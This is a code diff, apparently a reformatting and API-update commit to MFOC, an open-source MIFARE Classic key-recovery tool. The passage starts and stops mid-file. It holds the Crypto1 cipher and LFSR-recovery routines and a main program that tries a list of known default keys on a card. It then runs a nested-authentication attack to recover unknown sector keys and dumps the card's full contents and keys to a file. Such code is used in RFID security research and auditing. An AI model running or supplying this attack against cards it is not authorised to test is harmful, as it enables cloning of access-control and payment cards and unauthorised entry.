+  if (!s || !odd || !even) {\r
+    free(odd);\r
+    free(even);\r
+    free(statelist);\r
+    return 0;\r
+  }\r
+\r
+  for (o = odd; *o + 1; ++o)\r
+    for (e = even; *e + 1; ++e)\r
+      for (top = 0; top < 64; ++top) {\r
+        *o += 1 << 21;\r
+        *e += (!(top & 7) + 1) << 21;\r
+        s = check_pfx_parity(pfx, rr, par, *o, *e, s);\r
+      }\r
+\r
+  s->odd = s->even = 0;\r
+\r
+  free(odd);\r
+  free(even);\r
+\r
+  return statelist;\r
 }\r
index 5763861..4b8c90c 100644 (file)
 extern "C" {
 #endif
 
-struct Crypto1State {uint32_t odd, even;};
-struct Crypto1State* crypto1_create(uint64_t);
-void crypto1_destroy(struct Crypto1State*);
-void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
-uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
-uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
-uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
-uint32_t prng_successor(uint32_t x, uint32_t n);
+  struct Crypto1State {uint32_t odd, even;};
+  struct Crypto1State *crypto1_create(uint64_t);
+  void crypto1_destroy(struct Crypto1State *);
+  void crypto1_get_lfsr(struct Crypto1State *, uint64_t *);
+  uint8_t crypto1_bit(struct Crypto1State *, uint8_t, int);
+  uint8_t crypto1_byte(struct Crypto1State *, uint8_t, int);
+  uint32_t crypto1_word(struct Crypto1State *, uint32_t, int);
+  uint32_t prng_successor(uint32_t x, uint32_t n);
 
-struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
-struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
+  struct Crypto1State *lfsr_recovery32(uint32_t ks2, uint32_t in);
+  struct Crypto1State *lfsr_recovery64(uint32_t ks2, uint32_t ks3);
 
-void lfsr_rollback(struct Crypto1State* s, uint32_t in, int fb);
-uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb);
-int nonce_distance(uint32_t from, uint32_t to);
+  void lfsr_rollback(struct Crypto1State *s, uint32_t in, int fb);
+  uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb);
+  int nonce_distance(uint32_t from, uint32_t to);
 #define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
-       uint32_t __n = 0,__M = 0, N = 0;\
-       int __i;\
-       for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
-               for(__i = FSIZE - 1; __i >= 0; __i--)\
-                       if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
-                               break;\
-                       else if(__i)\
-                               __M = prng_successor(__M, (__i == 7) ? 48 : 8);\
-                       else
+  uint32_t __n = 0,__M = 0, N = 0;\
+  int __i;\
+  for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
+    for(__i = FSIZE - 1; __i >= 0; __i--)\
+      if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
+        break;\
+      else if(__i)\
+        __M = prng_successor(__M, (__i == 7) ? 48 : 8);\
+      else
 
 #define LF_POLY_ODD (0x29CE5C)
 #define LF_POLY_EVEN (0x870804)
 #define BIT(x, n) ((x) >> (n) & 1)
 #define BEBIT(x, n) BIT(x, (n) ^ 24)
-static inline int parity(uint32_t x)
-{
+  static inline int parity(uint32_t x)
+  {
 #if !defined __i386__ || !defined __GNUC__
-       x ^= x >> 16;
-       x ^= x >> 8;
-       x ^= x >> 4;
-       return BIT(0x6996, x & 0xf);
+    x ^= x >> 16;
+    x ^= x >> 8;
+    x ^= x >> 4;
+    return BIT(0x6996, x & 0xf);
 #else
-       asm(    "movl %1, %%eax\n"
-               "mov %%ax, %%cx\n"
-               "shrl $0x10, %%eax\n"
-               "xor %%ax, %%cx\n"
-               "xor %%ch, %%cl\n"
-               "setpo %%al\n"
-               "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx");
-       return x;
+    __asm__("movl %1, %%eax\n"
+            "mov %%ax, %%cx\n"
+            "shrl $0x10, %%eax\n"
+            "xor %%ax, %%cx\n"
+            "xor %%ch, %%cl\n"
+            "setpo %%al\n"
+            "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax", "ecx");
+    return x;
 #endif
-}
-static inline int filter(uint32_t const x)
-{
-       uint32_t f;
+  }
+  static inline int filter(uint32_t const x)
+  {
+    uint32_t f;
 
-       f  = 0xf22c0 >> (x       & 0xf) & 16;
-       f |= 0x6c9c0 >> (x >>  4 & 0xf) &  8;
-       f |= 0x3c8b0 >> (x >>  8 & 0xf) &  4;
-       f |= 0x1e458 >> (x >> 12 & 0xf) &  2;
-       f |= 0x0d938 >> (x >> 16 & 0xf) &  1;
-       return BIT(0xEC57E80A, f);
-}
+    f  = 0xf22c0 >> (x       & 0xf) & 16;
+    f |= 0x6c9c0 >> (x >>  4 & 0xf) &  8;
+    f |= 0x3c8b0 >> (x >>  8 & 0xf) &  4;
+    f |= 0x1e458 >> (x >> 12 & 0xf) &  2;
+    f |= 0x0d938 >> (x >> 16 & 0xf) &  1;
+    return BIT(0xEC57E80A, f);
+  }
 #ifdef __cplusplus
 }
 #endif
index e2aab71..fc11f00 100644 (file)
 #include <stdlib.h>
 
 #define SWAPENDIAN(x)\
-       (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
+  (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
 
-struct Crypto1State * crypto1_create(uint64_t key)
-{
-       struct Crypto1State *s = malloc(sizeof(*s));
-       int i;
-
-       for(i = 47;s && i > 0; i -= 2) {
-               s->odd  = s->odd  << 1 | BIT(key, (i - 1) ^ 7);
-               s->even = s->even << 1 | BIT(key, i ^ 7);
-       }
-       return s;
+struct Crypto1State *crypto1_create(uint64_t key) {
+  struct Crypto1State *s = malloc(sizeof(*s));
+  int i;
+
+  for (i = 47; s && i > 0; i -= 2) {
+    s->odd  = s->odd  << 1 | BIT(key, (i - 1) ^ 7);
+    s->even = s->even << 1 | BIT(key, i ^ 7);
+  }
+  return s;
 }
 void crypto1_destroy(struct Crypto1State *state)
 {
-       free(state);
+  free(state);
 }
 void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
 {
-       int i;
-       for(*lfsr = 0, i = 23; i >= 0; --i) {
-               *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
-               *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
-       }
+  int i;
+  for (*lfsr = 0, i = 23; i >= 0; --i) {
+    *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
+    *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
+  }
 }
 uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
 {
-       uint32_t feedin;
-       uint8_t ret = filter(s->odd);
+  uint32_t feedin;
+  uint8_t ret = filter(s->odd);
 
-       feedin  = ret & !!is_encrypted;
-       feedin ^= !!in;
-       feedin ^= LF_POLY_ODD & s->odd;
-       feedin ^= LF_POLY_EVEN & s->even;
-       s->even = s->even << 1 | parity(feedin);
+  feedin  = ret & !!is_encrypted;
+  feedin ^= !!in;
+  feedin ^= LF_POLY_ODD & s->odd;
+  feedin ^= LF_POLY_EVEN & s->even;
+  s->even = s->even << 1 | parity(feedin);
 
-       s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
+  s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
 
-       return ret;
+  return ret;
 }
 uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
 {
-       uint8_t i, ret = 0;
+  uint8_t i, ret = 0;
 
-       for (i = 0; i < 8; ++i)
-               ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
+  for (i = 0; i < 8; ++i)
+    ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
 
-       return ret;
+  return ret;
 }
 uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
 {
-       uint32_t i, ret = 0;
+  uint32_t i, ret = 0;
 
-       for (i = 0; i < 32; ++i)
-               ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
+  for (i = 0; i < 32; ++i)
+    ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
 
-       return ret;
+  return ret;
 }
 
 /* prng_successor
@@ -85,9 +84,9 @@ uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
  */
 uint32_t prng_successor(uint32_t x, uint32_t n)
 {
-       SWAPENDIAN(x);
-       while(n--)
-               x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
+  SWAPENDIAN(x);
+  while (n--)
+    x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
 
-       return SWAPENDIAN(x);
+  return SWAPENDIAN(x);
 }
index 5d34d88..5906ac2 100644 (file)
@@ -30,8 +30,6 @@
  URL http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf
 */
 
-/* vim: set ts=2 sw=2 et: */
-
 #define _XOPEN_SOURCE 1 // To enable getopt
 
 #include <stdio.h>
 #include "nfc-utils.h"
 #include "mfoc.h"
 
-int main(int argc, char * const argv[]) {
-       const nfc_modulation nm = {
-               .nmt = NMT_ISO14443A,
-               .nbr = NBR_106,
-       };
-
-       int ch, i, k, n, j, m;
-       int key, block;
-       int succeed = 1;
-
-       // Exploit sector
-       int e_sector;
-       int probes = DEFAULT_PROBES_NR;
-       int sets = DEFAULT_SETS_NR;
-
-       // By default, dump 'A' keys
-       int dumpKeysA = true;
-       bool failure = false;
-       bool skip = false;
-
-       // Next default key specified as option (-k)
-       uint8_t * defKeys = NULL, *p;
-       size_t defKeys_len = 0;
-
-       // Array with default Mifare Classic keys
-       uint8_t defaultKeys[][6] = {
-               {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
-               {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key
-               {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key
-               {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key
-               {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5},
-               {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd},
-               {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a},
-               {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff},
-               {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97},
-               {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f},
-               {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91},
-               {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6},
-               {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9}
-
-       };
-
-       mftag           t;
-       mfreader        r;
-       denonce         d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
-
-       // Pointers to possible keys
-       pKeys           *pk;
-       countKeys       *ck;
-
-       // Pointer to already broken keys, except defaults
-       bKeys           *bk;
-
-       static mifare_param mp;
-       static mifare_classic_tag mtDump;
-
-       mifare_cmd mc;
-       FILE *pfDump = NULL;
-
-       // Parse command line arguments
-       while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:")) != -1) {
-               switch (ch) {
-                       case 'P':
-                               // Number of probes
-                               if (!(probes = atoi(optarg)) || probes < 1) {
-                                       ERR ("The number of probes must be a positive number");
-                                       exit (EXIT_FAILURE);
-                               }
-                               // fprintf(stdout, "Number of probes: %d\n", probes);
-                               break;
-                       case 'T':
-                       {
-                               int res;
-                               // Nonce tolerance range
-                               if (((res = atoi(optarg)) < 0)) {
-                                       ERR ("The nonce distances range must be a zero or a positive number");
-                                       exit (EXIT_FAILURE);
-                               }
-                               d.tolerance = (uint32_t)res;
-                               // fprintf(stdout, "Tolerance number: %d\n", probes);
-                       }
-                               break;
-                       case 'k':
-                               // Add this key to the default keys
-                               p = realloc(defKeys, defKeys_len + 6);
-                               if (!p) {
-                                       ERR ("Cannot allocate memory for defKeys");
-                                       exit (EXIT_FAILURE);
-                               }
-                               defKeys = p;
-                               memset(defKeys+defKeys_len, 0, 6);
-                               num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys+defKeys_len);
-                               fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys+defKeys_len, 6));
-                               defKeys_len = defKeys_len + 6;
-
-                               break;
-                       case 'O':
-                               // File output
-                               if (!(pfDump = fopen(optarg, "wb"))) {
-                                       fprintf(stderr, "Cannot open: %s, exiting\n", optarg);
-                                       exit (EXIT_FAILURE);
-                               }
-                               // fprintf(stdout, "Output file: %s\n", optarg);
-                               break;
-                       case 'h':
-                               usage(stdout, 0);
-                               break;
-                       default:
-                               usage(stderr, 1);
-                               break;
-               }
-       }
-
-       if (!pfDump) {
-               ERR ("parameter -O is mandatory");
-               exit (EXIT_FAILURE);
-       }
-
-       // Initialize reader/tag structures
-       mf_init(&r);
-
-       if (nfc_initiator_init (r.pdi) < 0) {
-               nfc_perror (r.pdi, "nfc_initiator_init");
-               goto error;
-       }
-       // Drop the field for a while, so can be reset
-       if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) {
-               nfc_perror (r.pdi, "nfc_device_set_property_bool activate field");
-               goto error;
-       }
-       // Let the reader only try once to find a tag
-       if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) {
-               nfc_perror (r.pdi, "nfc_device_set_property_bool infinite select");
-               goto error;
-       }
-       // Configure the CRC and Parity settings
-       if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) {
-               nfc_perror (r.pdi, "nfc_device_set_property_bool crc");
-               goto error;
-       }
-       if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) {
-               nfc_perror (r.pdi, "nfc_device_set_property_bool parity");
-               goto error;
-       }
+nfc_context *context;
 
-/*
-       // wait for tag to appear
-       for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100);
-*/
-
-       // mf_select_tag(r.pdi, &(t.nt));
-       if (nfc_initiator_select_passive_target (r.pdi, nm, NULL, 0, &t.nt) < 0) {
-               nfc_perror (r.pdi, "nfc_initiator_select_passive_target");
-               goto error;
-       }
-
-       // Test if a compatible MIFARE tag is used
-       if ((t.nt.nti.nai.btSak & 0x08) == 0) {
-               ERR ("only Mifare Classic is supported");
-               goto error;
-       }
-
-       // Save tag's block size (b4K)
-       t.b4K = (t.nt.nti.nai.abtAtqa[1] == 0x02);
-       t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4);
-
-       t.num_blocks = (t.b4K) ? 0xff : 0x3f;
-       t.num_sectors = t.b4K ? NR_TRAILERS_4k : NR_TRAILERS_1k;
-
-       t.sectors = (void *) calloc(t.num_sectors, sizeof(sector));
-       if (t.sectors == NULL) {
-               ERR ("Cannot allocate memory for t.sectors");
-               goto error;
-       }
-       if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) {
-               ERR ("Cannot allocate memory for pk");
-               goto error;
-       }
-       if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) {
-               ERR ("Cannot allocate memory for bk");
-               goto error;
-       } else {
-               bk->brokenKeys = NULL;
-               bk->size = 0;
-       }
-
-       d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t));
-       if (d.distances == NULL) {
-               ERR ("Cannot allocate memory for t.distances");
-               goto error;
-       }
-
-       // Initialize t.sectors, keys are not known yet
-       for (uint8_t s = 0; s < (t.num_sectors); ++s) {
-               t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false;
-       }
-
-       print_nfc_iso14443a_info (t.nt.nti.nai, true);
-
-       // Try to authenticate to all sectors with default keys
-       // Set the authentication information (uid)
-       memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
-       // Iterate over all keys (n = number of keys)
-       n = sizeof(defaultKeys)/sizeof(defaultKeys[0]);
-       size_t defKey_bytes_todo = defKeys_len;
-       key = 0;
-       while (key < n) {
-               if (defKey_bytes_todo > 0) {
-                       memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey));
-                       defKey_bytes_todo -= sizeof(mp.mpa.abtKey);
-               } else {
-                       memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
-                       key++;
-               }
-               fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6));
-               fprintf(stdout, "[");
-               i = 0; // Sector counter
-               // Iterate over every block, where we haven't found a key yet
-               for (block = 0; block <= t.num_blocks; ++block) {
-                       if (trailer_block(block)) {
-                               if (!t.sectors[i].foundKeyA) {
-                                       mc = MC_AUTH_A;
-                                       if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) {
-                                               // fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x\n",
-                                               //      bytes_to_num(mp.mpa.abtKey, 6), i, block);
-                                               mf_anticollision(t, r);
-                                       } else {
-                                               // Save all information about successfull keyA authentization
-                                               memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
-                                               t.sectors[i].foundKeyA = true;
-                                       }
-                               }
-                               if (!t.sectors[i].foundKeyB) {
-                                       mc = MC_AUTH_B;
-                                       if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) {
-                                               // fprintf(stdout, "!!Error: AUTH [Key B:%012llx] sector %02x t_block %02x\n",
-                                               //      bytes_to_num(mp.mpa.abtKey, 6), i, block);
-                                               mf_anticollision(t, r);
-                                               // No success, try next block
-                                               t.sectors[i].trailer = block;
-                                       } else {
-                                               memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
-                                               t.sectors[i].foundKeyB = true;
-                                       }
-                               }
-                               if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) {
-                                       fprintf(stdout, "x");
-                               } else if (t.sectors[i].foundKeyA) {
-                                       fprintf(stdout, "/");
-                               } else if (t.sectors[i].foundKeyB) {
-                                       fprintf(stdout, "\\");
-                               } else {
-                                       fprintf(stdout, ".");
-                               }
-                               fflush(stdout);
-                               // fprintf(stdout, "\nSuccess: AUTH [Key %c:%012llx] sector %02x t_block %02x\n",
-                               //      (mc == MC_AUTH_A ? 'A' :'B'), bytes_to_num(mp.mpa.abtKey, 6), i, block);
-                               // Save position of a trailer block to sector struct
-                               t.sectors[i++].trailer = block;
-                       }
-               }
-               fprintf(stdout, "]\n");
-       }
-
-       fprintf(stdout, "\n");
-       for (i = 0; i < (t.num_sectors); ++i) {
-                       fprintf(stdout, "Sector %02d - %12s  ", i, ((t.sectors[i].foundKeyA) ? " FOUND_KEY   [A]" : " UNKNOWN_KEY [A]"));
-                       fprintf(stdout, "Sector %02d - %12s  ", i, ((t.sectors[i].foundKeyB) ? " FOUND_KEY   [B]" : " UNKNOWN_KEY [B]"));
-                       fprintf(stdout, "\n");
-       }
-       fflush(stdout);
-
-       // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys)
-       e_sector = find_exploit_sector(t);
-       //mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode
-
-       // Recover key from encrypted sectors, j is a sector counter
-       for (m = 0; m < 2; ++m) {
-               if (e_sector == -1) break; // All keys are default, I am skipping recovery mode
-               for (j = 0; j < (t.num_sectors); ++j) {
-                       memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
-                       if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
-
-                               // First, try already broken keys
-                               skip = false;
-                               for (uint32_t o = 0; o < bk->size; o++) {
-                                       num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey);
-                                       mc = dumpKeysA ? 0x60 : 0x61;
-                                       if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) {
-                                       //      fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x, key %d\n",
-                                       //                      bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer, o);
-                                               mf_anticollision(t, r);
-                                       } else {
-                                               // Save all information about successfull authentization
-                                               if (dumpKeysA) {
-                                                       memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
-                                                       t.sectors[j].foundKeyA = true;
-                                               } else {
-                                                       memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
-                                                       t.sectors[j].foundKeyB = true;
-                                               }
-                                               printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B'));
-                                               fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
-                                                               bytes_to_num(mp.mpa.abtKey, 6));
-                                               mf_configure(r.pdi);
-                                               mf_anticollision(t, r);
-                                               skip = true;
-                                               break;
-                                       }
-                               }
-                               if (skip) continue; // We have already revealed key, go to the next iteration
-
-                               // Max probes for auth for each sector
-                               for (k = 0; k < probes; ++k) {
-                                       // Try to authenticate to exploit sector and determine distances (filling denonce.distances)
-                                       mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
-                                       printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
-                                       // Configure device to the previous state
-                                       mf_configure(r.pdi);
-                                       mf_anticollision(t, r);
-
-                                       pk->possibleKeys = NULL;
-                                       pk->size = 0;
-                                       // We have 'sets' * 32b keystream of potential keys
-                                       for (n = 0; n < sets; n++) {
-                                               // AUTH + Recovery key mode (for a_sector), repeat 5 times
-                                               mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
-                                               mf_configure(r.pdi);
-                                               mf_anticollision(t, r);
-                                               fprintf(stdout, ".");
-                                               fflush(stdout);
-                                       }
-                                       fprintf(stdout, "\n");
-                                       // Get first 15 grouped keys
-                                       ck = uniqsort(pk->possibleKeys, pk->size);
-                                       for (i = 0; i < TRY_KEYS ; i++) {
-                                               // We don't known this key, try to break it
-                                               // This key can be found here two or more times
-                                               if (ck[i].count > 0) {
-                                                       // fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
-                                                       // Set required authetication method
-                                                       num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
-                                                       mc = dumpKeysA ? 0x60 : 0x61;
-                                                       if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) {
-                                                               // fprintf(stdout, "!!Error: AUTH [Key A:%llx] sector %02x t_block %02x\n",
-                                                               //      bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer);
-                                                               mf_anticollision(t, r);
-                                                       } else {
-                                                               // Save all information about successfull authentization
-                                                               bk->size++;
-                                                               bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
-                                                               bk->brokenKeys[bk->size-1] = bytes_to_num(mp.mpa.abtKey, 6);
-                                                               if (dumpKeysA) {
-                                                                       memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
-                                                                       t.sectors[j].foundKeyA = true;
-
-                                                               } else {
-                                                                       memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
-                                                                       t.sectors[j].foundKeyB = true;
-                                                               }
-                                                               fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
-                                                                               bytes_to_num(mp.mpa.abtKey, 6));
-                                                               mf_configure(r.pdi);
-                                                               mf_anticollision(t, r);
-                                                               break;
-                                                       }
-                                               }
-                                       }
-                                       free(pk->possibleKeys);
-                                       free(ck);
-                                       // Success, try the next sector
-                                       if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
-                               }
-                               // We haven't found any key, exiting
-                               if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
-                                       ERR ("No success, maybe you should increase the probes");
-                                       goto error;
-                               }
-                       }
-               }
-               dumpKeysA = false;
-       }
-
-
-       for (i = 0; i < (t.num_sectors); ++i) {
-               if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) {
-                       fprintf(stdout, "\nTry again, there are still some encrypted blocks\n");
-                       succeed = 0;
-                       break;
-               }
-       }
-
-       if (succeed) {
-               i = t.num_sectors; // Sector counter
-               fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n");
-               // Read all blocks
-               for (block = t.num_blocks; block >= 0; block--) {
-                       trailer_block(block) ? i-- : i;
-                       failure = true;
-
-                       // Try A key, auth() + read()
-                       memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA));
-                       if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) {
-                               // ERR ("Error: Auth A");
-                               mf_configure(r.pdi);
-                               mf_anticollision(t, r);
-                       } else { // and Read
-                               if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
-                                       fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6));
-                                       print_hex(mp.mpd.abtData, 16);
-                                       mf_configure(r.pdi);
-                                       mf_select_tag(r.pdi, &(t.nt));
-                                       failure = false;
-                               } else {
-                                       // Error, now try read() with B key
-                                       // ERR ("Error: Read A");
-                                       mf_configure(r.pdi);
-                                       mf_anticollision(t, r);
-                                       memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB));
-                                       if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) {
-                                               // ERR ("Error: Auth B");
-                                               mf_configure(r.pdi);
-                                               mf_anticollision(t, r);
-                                       } else { // and Read
-                                               if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
-                                                       fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6));
-                                                       print_hex(mp.mpd.abtData, 16);
-                                                       mf_configure(r.pdi);
-                                                       mf_select_tag(r.pdi, &(t.nt));
-                                                       failure = false;
-                                               } else {
-                                                       mf_configure(r.pdi);
-                                                       mf_anticollision(t, r);
-                                                       // ERR ("Error: Read B");
-                                               }
-                                       }
-                               }
-                       }
-                       if (trailer_block(block)) {
-                               // Copy the keys over from our key dump and store the retrieved access bits
-                               memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA,6);
-                               memcpy(mtDump.amb[block].mbt.abtKeyB,t.sectors[i].KeyB,6);
-                               if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits,mp.mpd.abtData+6,4);
-                       } else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData,16);
-                       memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
-               }
-
-               // Finally save all keys + data to file
-               if (fwrite(&mtDump, 1, sizeof(mtDump), pfDump) != sizeof(mtDump)) {
-                       fprintf(stdout, "Error, cannot write dump\n");
-                       fclose(pfDump);
-                       goto error;
-               }
-               fclose(pfDump);
-       }
-
-       free(t.sectors);
-       free(d.distances);
-
-       // Reset the "advanced" configuration to normal
-       nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true);
-       nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true);
-
-       // Disconnect device and exit
-       nfc_close(r.pdi);
-    nfc_exit(NULL);
-    exit (EXIT_SUCCESS);
+int main(int argc, char *const argv[])
+{
+  const nfc_modulation nm = {
+    .nmt = NMT_ISO14443A,
+    .nbr = NBR_106,
+  };
+
+  int ch, i, k, n, j, m;
+  int key, block;
+  int succeed = 1;
+
+  // Exploit sector
+  int e_sector;
+  int probes = DEFAULT_PROBES_NR;
+  int sets = DEFAULT_SETS_NR;
+
+  // By default, dump 'A' keys
+  int dumpKeysA = true;
+  bool failure = false;
+  bool skip = false;
+
+  // Next default key specified as option (-k)
+  uint8_t *defKeys = NULL, *p;
+  size_t defKeys_len = 0;
+
+  // Array with default Mifare Classic keys
+  uint8_t defaultKeys[][6] = {
+    {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
+    {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key
+    {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key
+    {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key
+    {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5},
+    {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd},
+    {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a},
+    {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff},
+    {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97},
+    {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f},
